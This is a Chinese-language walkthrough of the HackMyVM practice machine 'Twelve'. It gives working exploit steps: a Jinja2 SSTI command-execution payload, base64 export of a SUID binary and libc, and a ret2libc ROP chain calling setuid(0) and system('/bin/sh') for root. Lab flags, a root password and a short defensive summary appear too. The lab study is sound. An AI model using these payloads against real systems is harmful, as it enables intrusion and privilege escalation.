HackMyVM Twelve 通关记录|Jinja2 SSTI、SUID ROP 与 setuid(0) 提权
靶机链接:Twelve
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Twelve | 192.168.1.104 | 靶机 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp、80/tcp、1212/tcp | 锁定 Web 与本地提权主线 |
| SSTI | ?num={{7*7}} 返回 49 的错误提示 | 确认 Jinja2 模板执行 |
| 命令执行 | config.__class__.__init__.__globals__['os'].popen() | 获取 www-data 命令执行 |
| 本地枚举 | /usr/local/bin/12 为 root SUID | 确认关键提权面 |
| 二进制利用 | 菜单 3 溢出 + 菜单 4 ret | 将程序流程转成可控 ROP |
| 地址泄露 | dlsym(handle, "system") | 解决 ASLR,计算 libc base |
| Root 提权 | setuid(0); system("/bin/sh") | 在 SUID 场景下保留 root 身份 |
| 结果验证 | 读取 user.txt、root.txt | 完成靶机 |
0x02 侦察与信息收集
1. RustScan 联动 Nmap
rustscan -a 192.168.1.104 --range 1-65535 -- -sV -sC -O -oN rustscan-nmap-initial.txt
结果摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 9.2p1 Debian 2+deb12u7 |
80/tcp | HTTP | Apache 2.4.66 (Debian) |
1212/tcp | HTTP | Werkzeug 2.2.2 Python 3.11.2 |
补充识别信息:
- 主机名:
Twelve.lan - 系统:
Debian GNU/Linux 12 (bookworm) - 内核:
6.1.0-9-amd64
2. 80 端口目录枚举
gobuster dir -u http://192.168.1.104 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak
未发现高价值路径,80 端口仅为 Apache 默认页,因此重心转向 1212 端口的 Python Web 服务。
0x03 漏洞探测与分析
1. Jinja2 SSTI 确认
正常请求:
curl -s 'http://192.168.1.104:1212/?num=10'
返回十二进制结果 A,说明功能本身确实是在做进制转换。
SSTI 探测:
curl -s 'http://192.168.1.104:1212/?num={{7*7}}'
响应中出现:
Error: '49' is not a valid integer
这里的 49 不是原始输入,而是 Jinja2 对 7*7 求值后的结果,足以确认模板注入成立。
2. 通过 Security Alert 分支拿到命令执行
目标程序存在一个黑名单逻辑:
blacklist = ['config', 'self', 'os', 'popen', 'read', 'import', 'write', 'flag']
if any(word in number.lower() for word in blacklist):
msg = f"<span class='text-red-500'>Security Alert: Malicious string '{number}' detected</span>"
return render_template_string(UI_TEMPLATE.replace('{{ content | safe }}', msg)), 403
问题不在于黑名单是否完整,而在于命中黑名单后,用户输入仍被拼进 render_template_string()。也就是说:
- 正常分支会把输入当作数字处理
- 命中黑名单的错误分支反而把输入送进模板引擎
- 攻击者可以故意命中黑名单,以 403 页面作为 SSTI 执行通道
可用 payload:
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
验证:
curl -s 'http://192.168.1.104:1212/?num={{config.__class__.__init__.__globals__["os"].popen("id").read()}}'
回显:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
3. 自写 SSTI 命令执行脚本
为了稳定执行枚举命令,我写了一个简易的 Python 辅助脚本:twelve_ssti.py。
示例:
python3 attachments/twelve_ssti.py 'id; uname -a; pwd'
该脚本的核心工作是:
- 自动构造 SSTI payload
- 自动 URL 编码
- 捕获 403 页面正文
- 从
Security Alert: Malicious string '...' detected中提取命令输出
0x04 初始访问后的系统枚举
1. 基础信息
通过 SSTI 执行:
id
uname -a
pwd
cat /etc/os-release
cat /proc/sys/kernel/randomize_va_space
关键信息:
| 项目 | 值 |
|---|---|
| 当前身份 | www-data |
| 工作目录 | /opt/twelve_app |
| 系统 | Debian 12 |
| ASLR | 2(完全随机化) |
2. User Flag
cat /home/debian/user.txt
User Flag:
flag{user-8453eaca1baf2ad1abc7c17615fb8b91}
3. SUID 枚举
find / -perm -4000 -type f 2>/dev/null
除了标准系统 SUID 外,唯一异常条目是:
/usr/local/bin/12
文件属性:
file /usr/local/bin/12
ls -la /usr/local/bin/12
/usr/local/bin/12: setuid, setgid ELF 64-bit LSB shared object, x86-64, stripped
-rwsr-sr-x 1 root root 10240 Jan 30 09:53 /usr/local/bin/12
这基本确定了提权主线不在内核、sudo 或 capability,而在这个自定义 SUID 程序。
0x05 SUID 二进制分析 (/usr/local/bin/12)
1. 程序功能概览
本地拉取二进制与目标 libc 后,可以观察到程序提供 4 个菜单项:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
这几个菜单几乎已经把利用思路写在脸上:
- 菜单 2:帮助泄露 libc 中函数地址
- 菜单 3:把攻击者可控字节“送到栈上”
- 菜单 4:通过函数收尾触发
ret
2. checksec 与关键保护
checksec --file=12
结果:
| 项目 | 状态 |
|---|---|
| RELRO | No RELRO |
| Canary | No canary |
| NX | Enabled |
| PIE | Enabled |
由于 NX 开启,不能直接栈上执行 shellcode,更适合走 ret2libc / ROP。
3. 关键汇编与漏洞点
3.1 菜单 3 的核心逻辑
关键指令如下:
cc3: lea -0x440(%rbp), %rbx
...
dde: call b9a
...
df0: call strtol@plt
...
e29: mov %al, -0x440(%rbp,%r12,1)
...
e4e: call memcpy@plt
对应语义:
- 先把用户输入逐字节写入
rbp-0x440处的栈缓冲区 - 然后执行
memcpy(rbp, buffer, count) - 复制目标从
rbp开始,而不是安全缓冲区
这意味着:
- 偏移
0-7:覆盖保存的rbp - 偏移
8-15:覆盖返回地址 - 后续内容:继续布置 ROP 链
3.2 为什么菜单 3 后不会立刻起飞
memcpy() 结束后程序并不会马上 ret,而是跳回菜单循环:
e53: jmp cca
真正的 ROP 触发点在菜单 4 退出路径:
e7a: mov -0x448(%rbp), %rdi
e81: call dlclose@plt
e8d: call puts@plt
ea2: add $0x428, %rsp
ea9: pop %rbx
...
eb2: pop %rbp
eb3: ret
因此正确的利用节奏是:
菜单 2 泄露地址
-> 菜单 3 写入 ROP 链
-> 菜单 4 退出
-> epilogue ret
-> 命中伪造返回地址
4. 栈布局与偏移判断
关键布局如下:
[rbp + 0x08] 返回地址
[rbp + 0x00] 保存的 rbp
[rbp - 0x28] 保存的 rbx
[rbp - 0x440] 用户输入缓冲区
[rbp - 0x448] dlopen handle
我用 8 字节和 16 字节两组最小化测试复核了偏移:
data = b'3\n8\nZZZZZZZZ4\n' # 正常退出
data = b'3\n16\nAAAAAAAA' + b'BBBBBBBB4\n' # SIGSEGV at 0x4242424242424242
阶段结论:
| 测试 | 结果 | 说明 |
|---|---|---|
| 8 字节覆盖 | 正常退出 | 只影响保存的 rbp |
| 16 字节覆盖 | 崩溃 | 返回地址已可控 |
| 有效 libc 地址测试 | 仍崩溃 | 说明需要完整 ROP 语义,而不是盲跳单地址 |
0x06 libc 泄露与 ROP 提权
1. 获取目标 libc 并计算偏移
我通过 SSTI 把 /usr/local/bin/12 与 /lib/x86_64-linux-gnu/libc.so.6 导出到本地校验。具体做法是复用前面的 SSTI 命令执行脚本,在目标机上把文件转成单行 base64,再在本地解码。两个文件落地后都保留远程文件名:SUID 程序保存为 12,libc 保存为 libc.so.6,这样与后续 checksec --file=12、反汇编和偏移计算命令保持一致:
# 导出 SUID 程序
python3 attachments/twelve_ssti.py 'base64 -w0 /usr/local/bin/12' > 12.b64
base64 -d 12.b64 > 12
chmod +x 12
# 导出目标 libc
python3 attachments/twelve_ssti.py 'base64 -w0 /lib/x86_64-linux-gnu/libc.so.6' > libc.so.6.b64
base64 -d libc.so.6.b64 > libc.so.6
# 基础校验
file 12 libc.so.6
md5sum libc.so.6
解码后的目标 libc MD5 为:
9e21f348e8bd0dfd8d535eaf6fa9eb71
本地分析得到关键偏移:
readelf -sW libc.so.6 | grep ' system@@'
readelf -sW libc.so.6 | grep ' setuid@@'
readelf -sW libc.so.6 | grep ' exit@@'
strings -a -t x libc.so.6 | grep '/bin/sh'
ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'pop rdi ; ret'
ROPgadget --binary libc.so.6 --only 'ret' | grep ': ret$' | head
| 符号 / Gadget | 偏移 |
|---|---|
system | 0x4c330 |
setuid | 0xd5370 |
exit | 0x3e590 |
"/bin/sh" | 0x196031 |
pop rdi ; ret | 0x27725 |
ret | 0x270c2 |
2. 为什么直接 system('/bin/sh') 不够
最开始我尝试过直接把返回地址打到 system('/bin/sh'),确实能拿到 shell,但身份仍然是 www-data。这是 SUID 场景的经典坑:
- SUID 程序的有效 UID 是 root
- 但某些 shell 在被
system()拉起时会主动降权 - 结果是看起来“弹了 shell”,实际读不了
/root/root.txt
因此需要先显式恢复真实权限:
setuid(0);
system("/bin/sh");
3. 运行时地址泄露
通过菜单 2 输入 system,程序会调用 dlsym(handle, name) 并打印地址:
Symbol system: 0x00007f...
得到运行时 system 地址后,直接减去静态偏移即可算出 libc base:
libc_base = system_addr - 0x4c330
4. 最终 ROP 链
chain = b'A' * 8
chain += p64(ret)
chain += p64(pop_rdi)
chain += p64(0)
chain += p64(setuid)
chain += p64(ret)
chain += p64(pop_rdi)
chain += p64(binsh)
chain += p64(system)
chain += p64(exit)
关键点:
- 开头
A * 8用于覆盖保存的rbp ret用于栈对齐pop rdi ; ret为setuid(0)与system('/bin/sh')准备参数exit用于收尾,避免 shell 退出后流程失控
5. 自写 PTY 交互利用脚本
为了稳定驱动菜单程序、发送原始 ROP 字节并接收 shell 输出,我写了第二个脚本:twelve_rop_root.py。
这个脚本完成的事情包括:
- 使用 PTY 启动
/usr/local/bin/12 - 通过菜单 2 自动泄露
system地址 - 自动计算 libc base 与所有 gadget
- 通过菜单 3 发送原始 ROP 字节流
- 通过菜单 4 触发
ret - 在弹出的 root shell 中自动执行
id和cat /root/root.txt
6. 提权结果
实测输出:
LEAK system=0x7fd6b1ab3330 base=0x7fd6b1a67000
/bin/sh: 0: can't access tty; job control turned off
# uid=0(root) gid=33(www-data) groups=33(www-data)
# flag{root-a6127743d7835b6b4dd8debe12e9879a}
[rootpass: smokeylo]
这里可以看到两个事实:
uid=0(root),说明setuid(0)生效,已经不是低权限 shell/root/root.txt可读,root flag 成功获取
0x07 最终成果 (Final Flags)
User Flag
- 路径:
/home/debian/user.txt - 内容:
flag{user-8453eaca1baf2ad1abc7c17615fb8b91}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-a6127743d7835b6b4dd8debe12e9879a}
其他凭据
| 项目 | 值 | 获取方式 |
|---|---|---|
| Root password | smokeylo | root shell 中回显 |
0x08 复盘总结
- 黑名单分支反而成了主漏洞入口。 目标本来想拦截恶意字符串,但错误分支继续调用
render_template_string(),导致防护逻辑自身变成执行入口。 - 1212 端口是远程入口,SUID 程序是本地主线。 单纯拿到
www-data还不够,关键在于系统里恰好存在一个可利用的自定义 SUID ELF。 - 菜单设计本身就是半个 exploit framework。 一个选项泄露 libc 地址,一个选项写栈,一个选项退出触发
ret,组合起来天然适合 ret2libc。 - SUID 场景下不要迷信
system('/bin/sh')。 没有setuid(0)的情况下,shell 可能主动丢掉 root 身份。这也是前期“明明弹 shell 却读不到 root flag”的根因。 - PTY 驱动比普通 pipe 更稳。 该程序对交互节奏比较敏感,使用 PTY 可以减少换行、缓冲和 TTY 行为差异带来的干扰。
- 二进制虽然开了 NX 与 PIE,但业务逻辑把利用门槛压得很低。 只要能泄露一个 libc 函数地址,就可以通过固定偏移回推出整条 ROP 链所需地址。
从防守视角看,这台靶机至少有三处需要修:
- 不要把用户输入直接送入
render_template_string() - 不要用黑名单来处理模板注入问题
- 不要部署这种兼具地址泄露与栈覆盖能力的自定义 SUID 程序
附件下载
文件清单
| 编号 | 文件 | 作用 |
|---|---|---|
| T1 | twelve_ssti.py | 通过 Jinja2 SSTI 稳定执行系统命令 |
| T2 | twelve_rop_root.py | 自动泄露 libc、构造 ROP 并获取 root flag |